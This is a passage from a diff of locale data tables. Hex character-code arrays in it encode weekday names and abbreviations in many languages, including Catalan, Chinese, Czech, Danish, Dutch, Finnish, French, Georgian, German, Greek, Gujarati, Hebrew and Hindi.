0x6e, 0x67, 0x65, 0x3b, 0x44, 0x69, 0x6c, 0x6c, 0x75, 0x6e, +0x73, 0x3b, 0x44, 0x69, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x3b, 0x44, 0x69, 0x6d, 0x65, 0x63, 0x72, 0x65, 0x73, 0x3b, 0x44, +0x69, 0x6a, 0x6f, 0x75, 0x73, 0x3b, 0x44, 0x69, 0x76, 0x65, 0x6e, 0x64, 0x72, 0x65, 0x73, 0x3b, 0x64, 0x69, 0x73, 0x73, +0x61, 0x62, 0x74, 0x65, 0x3b, 0x67, 0x3b, 0x6c, 0x3b, 0x74, 0x3b, 0x63, 0x3b, 0x6a, 0x3b, 0x76, 0x3b, 0x73, 0x3b, 0x64, +0x67, 0x2e, 0x3b, 0x64, 0x6c, 0x2e, 0x3b, 0x64, 0x74, 0x2e, 0x3b, 0x64, 0x63, 0x2e, 0x3b, 0x64, 0x6a, 0x2e, 0x3b, 0x64, +0x76, 0x2e, 0x3b, 0x64, 0x73, 0x2e, 0x3b, 0x64, 0x69, 0x75, 0x6d, 0x65, 0x6e, 0x67, 0x65, 0x3b, 0x64, 0x69, 0x6c, 0x6c, +0x75, 0x6e, 0x73, 0x3b, 0x64, 0x69, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x3b, 0x64, 0x69, 0x6d, 0x65, 0x63, 0x72, 0x65, 0x73, +0x3b, 0x64, 0x69, 0x6a, 0x6f, 0x75, 0x73, 0x3b, 0x64, 0x69, 0x76, 0x65, 0x6e, 0x64, 0x72, 0x65, 0x73, 0x3b, 0x64, 0x69, +0x73, 0x73, 0x61, 0x62, 0x74, 0x65, 0x3b, 0x47, 0x3b, 0x6c, 0x3b, 0x54, 0x3b, 0x43, 0x3b, 0x4a, 0x3b, 0x56, 0x3b, 0x53, +0x3b, 0x5468, 0x65e5, 0x3b, 0x5468, 0x4e00, 0x3b, 0x5468, 0x4e8c, 0x3b, 0x5468, 0x4e09, 0x3b, 0x5468, 0x56db, 0x3b, 0x5468, 0x4e94, 0x3b, 0x5468, +0x516d, 0x3b, 0x661f, 0x671f, 0x65e5, 0x3b, 0x661f, 0x671f, 0x4e00, 0x3b, 0x661f, 0x671f, 0x4e8c, 0x3b, 0x661f, 0x671f, 0x4e09, 0x3b, 0x661f, 0x671f, +0x56db, 0x3b, 0x661f, 0x671f, 0x4e94, 0x3b, 0x661f, 0x671f, 0x516d, 0x3b, 0x65e5, 0x3b, 0x4e00, 0x3b, 0x4e8c, 0x3b, 0x4e09, 0x3b, 0x56db, 0x3b, +0x4e94, 0x3b, 0x516d, 0x3b, 0x9031, 0x65e5, 0x3b, 0x9031, 0x4e00, 0x3b, 0x9031, 0x4e8c, 0x3b, 0x9031, 0x4e09, 0x3b, 0x9031, 0x56db, 0x3b, 0x9031, +0x4e94, 0x3b, 0x9031, 0x516d, 0x3b, 0x6e, 0x65, 0x64, 0x3b, 0x70, 0x6f, 0x6e, 0x3b, 0x75, 0x74, 0x6f, 0x3b, 0x73, 0x72, 0x69, 0x3b, 0x10d, 0x65, 0x74, 0x3b, 0x70, 0x65, 0x74, 0x3b, 0x73, 0x75, 0x62, 0x3b, 0x6e, 0x65, 0x64, 0x6a, 0x65, 0x6c, 0x6a, 0x61, 0x3b, 0x70, 0x6f, 0x6e, 0x65, 0x64, 0x6a, 0x65, 0x6c, 0x6a, 0x61, 0x6b, 0x3b, 0x75, 0x74, 0x6f, 0x72, 0x61, 0x6b, 0x3b, 0x73, 0x72, 0x69, 0x6a, 0x65, 0x64, 0x61, 0x3b, 0x10d, 0x65, 0x74, 0x76, 0x72, 0x74, 0x61, 0x6b, 0x3b, 0x70, 0x65, -0x74, 0x61, 0x6b, 0x3b, 0x73, 0x75, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x4e, 0x3b, 0x50, 0x3b, 0xda, 0x3b, 0x53, 0x3b, 0x10c, -0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x6e, 0x65, 0x3b, 0x70, 0x6f, 0x3b, 0xfa, 0x74, 0x3b, 0x73, 0x74, 0x3b, 0x10d, 0x74, 0x3b, +0x74, 0x61, 0x6b, 0x3b, 0x73, 0x75, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x6e, 0x3b, 0x70, 0x3b, 0x75, 0x3b, 0x73, 0x3b, 0x10d, +0x3b, 0x70, 0x3b, 0x73, 0x3b, 0x6e, 0x65, 0x3b, 0x70, 0x6f, 0x3b, 0xfa, 0x74, 0x3b, 0x73, 0x74, 0x3b, 0x10d, 0x74, 0x3b, 0x70, 0xe1, 0x3b, 0x73, 0x6f, 0x3b, 0x6e, 0x65, 0x64, 0x11b, 0x6c, 0x65, 0x3b, 0x70, 0x6f, 0x6e, 0x64, 0x11b, 0x6c, 0xed, 0x3b, 0xfa, 0x74, 0x65, 0x72, 0xfd, 0x3b, 0x73, 0x74, 0x159, 0x65, 0x64, 0x61, 0x3b, 0x10d, 0x74, 0x76, 0x72, 0x74, 0x65, -0x6b, 0x3b, 0x70, 0xe1, 0x74, 0x65, 0x6b, 0x3b, 0x73, 0x6f, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, -0x3b, 0x4f, 0x3b, 0x54, 0x3b, 0x46, 0x3b, 0x4c, 0x3b, 0x73, 0xf8, 0x6e, 0x3b, 0x6d, 0x61, 0x6e, 0x3b, 0x74, 0x69, 0x72, +0x6b, 0x3b, 0x70, 0xe1, 0x74, 0x65, 0x6b, 0x3b, 0x73, 0x6f, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x4e, 0x3b, 0x50, 0x3b, 0xda, +0x3b, 0x53, 0x3b, 0x10c, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x73, 0xf8, 0x6e, 0x3b, 0x6d, 0x61, 0x6e, 0x3b, 0x74, 0x69, 0x72, 0x3b, 0x6f, 0x6e, 0x73, 0x3b, 0x74, 0x6f, 0x72, 0x3b, 0x66, 0x72, 0x65, 0x3b, 0x6c, 0xf8, 0x72, 0x3b, 0x73, 0xf8, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x6d, 0x61, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x74, 0x69, 0x72, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x6f, 0x6e, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x74, 0x6f, 0x72, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x66, 0x72, 0x65, 0x64, 0x61, 0x67, -0x3b, 0x6c, 0xf8, 0x72, 0x64, 0x61, 0x67, 0x3b, 0x5a, 0x3b, 0x4d, 0x3b, 0x44, 0x3b, 0x57, 0x3b, 0x44, 0x3b, 0x56, 0x3b, -0x5a, 0x3b, 0x7a, 0x6f, 0x3b, 0x6d, 0x61, 0x3b, 0x64, 0x69, 0x3b, 0x77, 0x6f, 0x3b, 0x64, 0x6f, 0x3b, 0x76, 0x72, 0x3b, +0x3b, 0x6c, 0xf8, 0x72, 0x64, 0x61, 0x67, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, 0x3b, 0x4f, 0x3b, 0x54, 0x3b, 0x46, 0x3b, +0x4c, 0x3b, 0x7a, 0x6f, 0x3b, 0x6d, 0x61, 0x3b, 0x64, 0x69, 0x3b, 0x77, 0x6f, 0x3b, 0x64, 0x6f, 0x3b, 0x76, 0x72, 0x3b, 0x7a, 0x61, 0x3b, 0x7a, 0x6f, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x6d, 0x61, 0x61, 0x6e, 0x64, 0x61, 0x67, 0x3b, 0x64, 0x69, 0x6e, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x77, 0x6f, 0x65, 0x6e, 0x73, 0x64, 0x61, 0x67, 0x3b, 0x64, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x64, 0x61, 0x67, 0x3b, 0x76, 0x72, 0x69, 0x6a, 0x64, 0x61, 0x67, 0x3b, 0x7a, 0x61, 0x74, 0x65, 0x72, 0x64, 0x61, -0x67, 0x3b, 0x50, 0x3b, 0x45, 0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x52, 0x3b, 0x4c, 0x3b, 0x70, 0xfc, 0x68, 0x61, -0x70, 0xe4, 0x65, 0x76, 0x3b, 0x65, 0x73, 0x6d, 0x61, 0x73, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x74, 0x65, 0x69, 0x73, 0x69, -0x70, 0xe4, 0x65, 0x76, 0x3b, 0x6b, 0x6f, 0x6c, 0x6d, 0x61, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x6e, 0x65, 0x6c, 0x6a, 0x61, -0x70, 0xe4, 0x65, 0x76, 0x3b, 0x72, 0x65, 0x65, 0x64, 0x65, 0x3b, 0x6c, 0x61, 0x75, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x73, -0x75, 0x6e, 0x3b, 0x6d, 0xe1, 0x6e, 0x3b, 0x74, 0xfd, 0x73, 0x3b, 0x6d, 0x69, 0x6b, 0x3b, 0x68, 0xf3, 0x73, 0x3b, 0x66, -0x72, 0xed, 0x3b, 0x6c, 0x65, 0x79, 0x3b, 0x73, 0x75, 0x6e, 0x6e, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6d, 0xe1, -0x6e, 0x61, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x74, 0xfd, 0x73, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6d, 0x69, 0x6b, -0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x68, 0xf3, 0x73, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x66, 0x72, 0xed, 0x67, -0x67, 0x6a, 0x61, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6c, 0x65, 0x79, 0x67, 0x61, 0x72, 0x64, 0x61, 0x67, 0x75, 0x72, -0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x54, 0x3b, 0x50, 0x3b, 0x4c, 0x3b, 0x73, 0x75, 0x3b, 0x6d, 0x61, -0x3b, 0x74, 0x69, 0x3b, 0x6b, 0x65, 0x3b, 0x74, 0x6f, 0x3b, 0x70, 0x65, 0x3b, 0x6c, 0x61, 0x3b, 0x73, 0x75, 0x6e, 0x6e, -0x75, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x6d, 0x61, 0x61, 0x6e, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, -0x74, 0x69, 0x69, 0x73, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x6b, 0x65, 0x73, 0x6b, 0x69, 0x76, 0x69, 0x69, 0x6b, 0x6b, -0x6f, 0x6e, 0x61, 0x3b, 0x74, 0x6f, 0x72, 0x73, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x70, 0x65, 0x72, 0x6a, 0x61, 0x6e, -0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x6c, 0x61, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x44, 0x3b, 0x4c, -0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x64, 0x69, 0x6d, 0x2e, 0x3b, 0x6c, 0x75, 0x6e, 0x2e, -0x3b, 0x6d, 0x61, 0x72, 0x2e, 0x3b, 0x6d, 0x65, 0x72, 0x2e, 0x3b, 0x6a, 0x65, 0x75, 0x2e, 0x3b, 0x76, 0x65, 0x6e, 0x2e, -0x3b, 0x73, 0x61, 0x6d, 0x2e, 0x3b, 0x64, 0x69, 0x6d, 0x61, 0x6e, 0x63, 0x68, 0x65, 0x3b, 0x6c, 0x75, 0x6e, 0x64, 0x69, -0x3b, 0x6d, 0x61, 0x72, 0x64, 0x69, 0x3b, 0x6d, 0x65, 0x72, 0x63, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x6a, 0x65, 0x75, 0x64, -0x69, 0x3b, 0x76, 0x65, 0x6e, 0x64, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x73, 0x61, 0x6d, 0x65, 0x64, 0x69, 0x3b, 0x44, 0x3b, -0x4c, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x58, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x44, 0x6f, 0x6d, 0x3b, 0x4c, 0x75, 0x6e, 0x3b, -0x4d, 0x61, 0x72, 0x3b, 0x4d, 0xe9, 0x72, 0x3b, 0x58, 0x6f, 0x76, 0x3b, 0x56, 0x65, 0x6e, 0x3b, 0x53, 0xe1, 0x62, 0x3b, -0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x6f, 0x3b, 0x4c, 0x75, 0x6e, 0x73, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x65, 0x73, 0x3b, -0x4d, 0xe9, 0x72, 0x63, 0x6f, 0x72, 0x65, 0x73, 0x3b, 0x58, 0x6f, 0x76, 0x65, 0x73, 0x3b, 0x56, 0x65, 0x6e, 0x72, 0x65, -0x73, 0x3b, 0x53, 0xe1, 0x62, 0x61, 0x64, 0x6f, 0x3b, 0x10d9, 0x3b, 0x10dd, 0x3b, 0x10e1, 0x3b, 0x10dd, 0x3b, 0x10ee, 0x3b, 0x10de, -0x3b, 0x10e8, 0x3b, 0x10d9, 0x10d5, 0x10d8, 0x3b, 0x10dd, 0x10e0, 0x10e8, 0x3b, 0x10e1, 0x10d0, 0x10db, 0x3b, 0x10dd, 0x10d7, 0x10ee, 0x3b, 0x10ee, -0x10e3, 0x10d7, 0x3b, 0x10de, 0x10d0, 0x10e0, 0x3b, 0x10e8, 0x10d0, 0x10d1, 0x3b, 0x10d9, 0x10d5, 0x10d8, 0x10e0, 0x10d0, 0x3b, 0x10dd, 0x10e0, 0x10e8, -0x10d0, 0x10d1, 0x10d0, 0x10d7, 0x10d8, 0x3b, 0x10e1, 0x10d0, 0x10db, 0x10e8, 0x10d0, 0x10d1, 0x10d0, 0x10d7, 0x10d8, 0x3b, 0x10dd, 0x10d7, 0x10ee, 0x10e8, -0x10d0, 0x10d1, 0x10d0, 0x10d7, 0x10d8, 0x3b, 0x10ee, 0x10e3, 0x10d7, 0x10e8, 0x10d0, 0x10d1, 0x10d0, 0x10d7, 0x10d8, 0x3b, 0x10de, 0x10d0, 0x10e0, 0x10d0, -0x10e1, 0x10d9, 0x10d4, 0x10d5, 0x10d8, 0x3b, 0x10e8, 0x10d0, 0x10d1, 0x10d0, 0x10d7, 0x10d8, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x44, 0x3b, 0x4d, -0x3b, 0x44, 0x3b, 0x46, 0x3b, 0x53, 0x3b, 0x53, 0x6f, 0x2e, 0x3b, 0x4d, 0x6f, 0x2e, 0x3b, 0x44, 0x69, 0x2e, 0x3b, 0x4d, -0x69, 0x2e, 0x3b, 0x44, 0x6f, 0x2e, 0x3b, 0x46, 0x72, 0x2e, 0x3b, 0x53, 0x61, 0x2e, 0x3b, 0x53, 0x6f, 0x6e, 0x6e, 0x74, -0x61, 0x67, 0x3b, 0x4d, 0x6f, 0x6e, 0x74, 0x61, 0x67, 0x3b, 0x44, 0x69, 0x65, 0x6e, 0x73, 0x74, 0x61, 0x67, 0x3b, 0x4d, -0x69, 0x74, 0x74, 0x77, 0x6f, 0x63, 0x68, 0x3b, 0x44, 0x6f, 0x6e, 0x6e, 0x65, 0x72, 0x73, 0x74, 0x61, 0x67, 0x3b, 0x46, -0x72, 0x65, 0x69, 0x74, 0x61, 0x67, 0x3b, 0x53, 0x61, 0x6d, 0x73, 0x74, 0x61, 0x67, 0x3b, 0x53, 0x6f, 0x6e, 0x3b, 0x4d, -0x6f, 0x6e, 0x3b, 0x44, 0x69, 0x65, 0x3b, 0x4d, 0x69, 0x74, 0x3b, 0x44, 0x6f, 0x6e, 0x3b, 0x46, 0x72, 0x65, 0x3b, 0x53, -0x61, 0x6d, 0x3b, 0x39a, 0x3b, 0x394, 0x3b, 0x3a4, 0x3b, 0x3a4, 0x3b, 0x3a0, 0x3b, 0x3a0, 0x3b, 0x3a3, 0x3b, 0x39a, 0x3c5, 0x3c1, -0x3b, 0x394, 0x3b5, 0x3c5, 0x3b, 0x3a4, 0x3c1, 0x3b9, 0x3b, 0x3a4, 0x3b5, 0x3c4, 0x3b, 0x3a0, 0x3b5, 0x3bc, 0x3b, 0x3a0, 0x3b1, 0x3c1, -0x3b, 0x3a3, 0x3b1, 0x3b2, 0x3b, 0x39a, 0x3c5, 0x3c1, 0x3b9, 0x3b1, 0x3ba, 0x3ae, 0x3b, 0x394, 0x3b5, 0x3c5, 0x3c4, 0x3ad, 0x3c1, 0x3b1, -0x3b, 0x3a4, 0x3c1, 0x3af, 0x3c4, 0x3b7, 0x3b, 0x3a4, 0x3b5, 0x3c4, 0x3ac, 0x3c1, 0x3c4, 0x3b7, 0x3b, 0x3a0, 0x3ad, 0x3bc, 0x3c0, 0x3c4, -0x3b7, 0x3b, 0x3a0, 0x3b1, 0x3c1, 0x3b1, 0x3c3, 0x3ba, 0x3b5, 0x3c5, 0x3ae, 0x3b, 0x3a3, 0x3ac, 0x3b2, 0x3b2, 0x3b1, 0x3c4, 0x3bf, 0x3b, -0x73, 0x61, 0x62, 0x3b, 0x61, 0x74, 0x61, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x70, 0x69, 0x6e, 0x3b, 0x73, 0x69, 0x73, 0x3b, -0x74, 0x61, 0x6c, 0x3b, 0x61, 0x72, 0x66, 0x3b, 0x73, 0x61, 0x62, 0x61, 0x61, 0x74, 0x3b, 0x61, 0x74, 0x61, 0x61, 0x73, -0x69, 0x6e, 0x6e, 0x67, 0x6f, 0x72, 0x6e, 0x65, 0x71, 0x3b, 0x6d, 0x61, 0x72, 0x6c, 0x75, 0x6e, 0x6e, 0x67, 0x6f, 0x72, -0x6e, 0x65, 0x71, 0x3b, 0x70, 0x69, 0x6e, 0x67, 0x61, 0x73, 0x75, 0x6e, 0x6e, 0x67, 0x6f, 0x72, 0x6e, 0x65, 0x71, 0x3b, -0x73, 0x69, 0x73, 0x61, 0x6d, 0x61, 0x6e, 0x6e, 0x67, 0x6f, 0x72, 0x6e, 0x65, 0x71, 0x3b, 0x74, 0x61, 0x6c, 0x6c, 0x69, -0x6d, 0x61, 0x6e, 0x6e, 0x67, 0x6f, 0x72, 0x6e, 0x65, 0x71, 0x3b, 0x61, 0x72, 0x66, 0x69, 0x6e, 0x69, 0x6e, 0x6e, 0x67, -0x6f, 0x72, 0x6e, 0x65, 0x71, 0x3b, 0xab0, 0xab5, 0xabf, 0x3b, 0xab8, 0xacb, 0xaae, 0x3b, 0xaae, 0xa82, 0xa97, 0xab3, 0x3b, 0xaac, -0xac1, 0xaa7, 0x3b, 0xa97, 0xac1, 0xab0, 0xac1, 0x3b, 0xab6, 0xac1, 0xa95, 0xacd, 0xab0, 0x3b, 0xab6, 0xaa8, 0xabf, 0x3b, 0xab0, 0xab5, -0xabf, 0xab5, 0xabe, 0xab0, 0x3b, 0xab8, 0xacb, 0xaae, 0xab5, 0xabe, 0xab0, 0x3b, 0xaae, 0xa82, 0xa97, 0xab3, 0xab5, 0xabe, 0xab0, 0x3b, -0xaac, 0xac1, 0xaa7, 0xab5, 0xabe, 0xab0, 0x3b, 0xa97, 0xac1, 0xab0, 0xac1, 0xab5, 0xabe, 0xab0, 0x3b, 0xab6, 0xac1, 0xa95, 0xacd, 0xab0, -0xab5, 0xabe, 0xab0, 0x3b, 0xab6, 0xaa8, 0xabf, 0xab5, 0xabe, 0xab0, 0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x54, 0x3b, 0x4c, 0x3b, 0x41, -0x3b, 0x4a, 0x3b, 0x41, 0x3b, 0x4c, 0x61, 0x68, 0x3b, 0x4c, 0x69, 0x74, 0x3b, 0x54, 0x61, 0x6c, 0x3b, 0x4c, 0x61, 0x72, -0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x4a, 0x75, 0x6d, 0x3b, 0x41, 0x73, 0x61, 0x3b, 0x4c, 0x61, 0x68, 0x61, 0x64, 0x69, 0x3b, -0x4c, 0x69, 0x74, 0x69, 0x6e, 0x69, 0x3b, 0x54, 0x61, 0x6c, 0x61, 0x74, 0x61, 0x3b, 0x4c, 0x61, 0x72, 0x61, 0x62, 0x61, -0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x73, 0x3b, 0x4a, 0x75, 0x6d, 0x6d, 0x61, 0x27, 0x61, 0x3b, 0x41, 0x73, 0x61, -0x62, 0x61, 0x72, 0x3b, 0x5d0, 0x3b, 0x5d1, 0x3b, 0x5d2, 0x3b, 0x5d3, 0x3b, 0x5d4, 0x3b, 0x5d5, 0x3b, 0x5e9, 0x3b, 0x5d9, 0x5d5, -0x5dd, 0x20, 0x5e8, 0x5d0, 0x5e9, 0x5d5, 0x5df, 0x3b, 0x5d9, 0x5d5, 0x5dd, 0x20, 0x5e9, 0x5e0, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5dd, 0x20, -0x5e9, 0x5dc, 0x5d9, 0x5e9, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5dd, 0x20, 0x5e8, 0x5d1, 0x5d9, 0x5e2, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5dd, 0x20, -0x5d7, 0x5de, 0x5d9, 0x5e9, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5dd, 0x20, 0x5e9, 0x5d9, 0x5e9, 0x5d9, 0x3b, 0x5e9, 0x5d1, 0x5ea, 0x3b, 0x930, -0x3b, 0x32, 0x3b, 0x92e, 0x902, 0x3b, 0x34, 0x3b, 0x917, 0x941, 0x3b, 0x36, 0x3b, 0x37, 0x3b, 0x930, 0x935, 0x93f, 0x3b, 0x938, -0x94b, 0x92e, 0x3b, 0x92e, 0x902, 0x917, 0x932, 0x3b, 0x92c, 0x941, 0x927, 0x3b, 0x917, 0x941, 0x930, 0x941, 0x3b, 0x936, 0x941, 0x915, -0x94d, 0x930, 0x3b, 0x936, 0x928, 0x93f, 0x3b, 0x930, 0x935, 0x93f, 0x935, 0x93e, 0x930, 0x3b, 0x938, 0x94b, 0x92e, 0x935, 0x93e, 0x930, -0x3b, 0x92e, 0x902, 0x917, 0x932, 0x935, 0x93e, 0x930, 0x3b, 0x92c, 0x941, 0x927, 0x935, 0x93e, 0x930, 0x3b, 0x917, 0x941, 0x930, 0x941, -0x935, 0x93e, 0x930, 0x3b, 0x936, 0x941, 0x915, 0x94d, 0x930, 0x935, 0x93e, 0x930, 0x3b, 0x936, 0x928, 0x93f, 0x935, 0x93e, 0x930, 0x3b, -0x56, 0x3b, 0x48, 0x3b, 0x4b, 0x3b, 0x53, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x56, 0x3b, 0x48, 0x3b, 0x4b, 0x3b, +0x67, 0x3b, 0x5a, 0x3b, 0x4d, 0x3b, 0x44, 0x3b, 0x57, 0x3b, 0x44, 0x3b, 0x56, 0x3b, 0x5a, 0x3b, 0x50, 0x3b, 0x45, 0x3b, +0x54, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x52, 0x3b, 0x4c, 0x3b, 0x70, 0xfc, 0x68, 0x61, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x65, +0x73, 0x6d, 0x61, 0x73, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x74, 0x65, 0x69, 0x73, 0x69, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x6b, +0x6f, 0x6c, 0x6d, 0x61, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x6e, 0x65, 0x6c, 0x6a, 0x61, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x72, +0x65, 0x65, 0x64, 0x65, 0x3b, 0x6c, 0x61, 0x75, 0x70, 0xe4, 0x65, 0x76, 0x3b, 0x73, 0x75, 0x6e, 0x3b, 0x6d, 0xe1, 0x6e, +0x3b, 0x74, 0xfd, 0x73, 0x3b, 0x6d, 0x69, 0x6b, 0x3b, 0x68, 0xf3, 0x73, 0x3b, 0x66, 0x72, 0xed, 0x3b, 0x6c, 0x65, 0x79, +0x3b, 0x73, 0x75, 0x6e, 0x6e, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6d, 0xe1, 0x6e, 0x61, 0x64, 0x61, 0x67, 0x75, +0x72, 0x3b, 0x74, 0xfd, 0x73, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6d, 0x69, 0x6b, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, +0x3b, 0x68, 0xf3, 0x73, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x66, 0x72, 0xed, 0x67, 0x67, 0x6a, 0x61, 0x64, 0x61, 0x67, +0x75, 0x72, 0x3b, 0x6c, 0x65, 0x79, 0x67, 0x61, 0x72, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x54, +0x3b, 0x4d, 0x3b, 0x48, 0x3b, 0x46, 0x3b, 0x4c, 0x3b, 0x73, 0x75, 0x3b, 0x6d, 0x61, 0x3b, 0x74, 0x69, 0x3b, 0x6b, 0x65, +0x3b, 0x74, 0x6f, 0x3b, 0x70, 0x65, 0x3b, 0x6c, 0x61, 0x3b, 0x73, 0x75, 0x6e, 0x6e, 0x75, 0x6e, 0x74, 0x61, 0x69, 0x3b, +0x6d, 0x61, 0x61, 0x6e, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x3b, 0x74, 0x69, 0x69, 0x73, 0x74, 0x61, 0x69, 0x3b, 0x6b, 0x65, +0x73, 0x6b, 0x69, 0x76, 0x69, 0x69, 0x6b, 0x6b, 0x6f, 0x3b, 0x74, 0x6f, 0x72, 0x73, 0x74, 0x61, 0x69, 0x3b, 0x70, 0x65, +0x72, 0x6a, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x3b, 0x6c, 0x61, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x3b, 0x53, 0x3b, 0x4d, +0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x54, 0x3b, 0x50, 0x3b, 0x4c, 0x3b, 0x73, 0x75, 0x6e, 0x6e, 0x75, 0x6e, 0x74, 0x61, 0x69, +0x6e, 0x61, 0x3b, 0x6d, 0x61, 0x61, 0x6e, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x74, 0x69, 0x69, 0x73, 0x74, +0x61, 0x69, 0x6e, 0x61, 0x3b, 0x6b, 0x65, 0x73, 0x6b, 0x69, 0x76, 0x69, 0x69, 0x6b, 0x6b, 0x6f, 0x6e, 0x61, 0x3b, 0x74, +0x6f, 0x72, 0x73, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x70, 0x65, 0x72, 0x6a, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, +0x3b, 0x6c, 0x61, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x61, 0x3b, 0x64, 0x69, 0x6d, 0x2e, 0x3b, 0x6c, 0x75, 0x6e, +0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x2e, 0x3b, 0x6d, 0x65, 0x72, 0x2e, 0x3b, 0x6a, 0x65, 0x75, 0x2e, 0x3b, 0x76, 0x65, 0x6e, +0x2e, 0x3b, 0x73, 0x61, 0x6d, 0x2e, 0x3b, 0x64, 0x69, 0x6d, 0x61, 0x6e, 0x63, 0x68, 0x65, 0x3b, 0x6c, 0x75, 0x6e, 0x64, +0x69, 0x3b, 0x6d, 0x61, 0x72, 0x64, 0x69, 0x3b, 0x6d, 0x65, 0x72, 0x63, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x6a, 0x65, 0x75, +0x64, 0x69, 0x3b, 0x76, 0x65, 0x6e, 0x64, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x73, 0x61, 0x6d, 0x65, 0x64, 0x69, 0x3b, 0x44, +0x3b, 0x4c, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x44, 0x6f, 0x6d, 0x3b, 0x4c, 0x75, 0x6e, +0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x4d, 0xe9, 0x72, 0x3b, 0x58, 0x6f, 0x76, 0x3b, 0x56, 0x65, 0x6e, 0x3b, 0x53, 0xe1, 0x62, +0x3b, 0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x6f, 0x3b, 0x4c, 0x75, 0x6e, 0x73, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x65, 0x73, +0x3b, 0x4d, 0xe9, 0x72, 0x63, 0x6f, 0x72, 0x65, 0x73, 0x3b, 0x58, 0x6f, 0x76, 0x65, 0x73, 0x3b, 0x56, 0x65, 0x6e, 0x72, +0x65, 0x73, 0x3b, 0x53, 0xe1, 0x62, 0x61, 0x64, 0x6f, 0x3b, 0x44, 0x3b, 0x4c, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x58, 0x3b, +0x56, 0x3b, 0x53, 0x3b, 0x10d9, 0x10d5, 0x10d8, 0x3b, 0x10dd, 0x10e0, 0x10e8, 0x3b, 0x10e1, 0x10d0, 0x10db, 0x3b, 0x10dd, 0x10d7, 0x10ee, 0x3b, +0x10ee, 0x10e3, 0x10d7, 0x3b, 0x10de, 0x10d0, 0x10e0, 0x3b, 0x10e8, 0x10d0, 0x10d1, 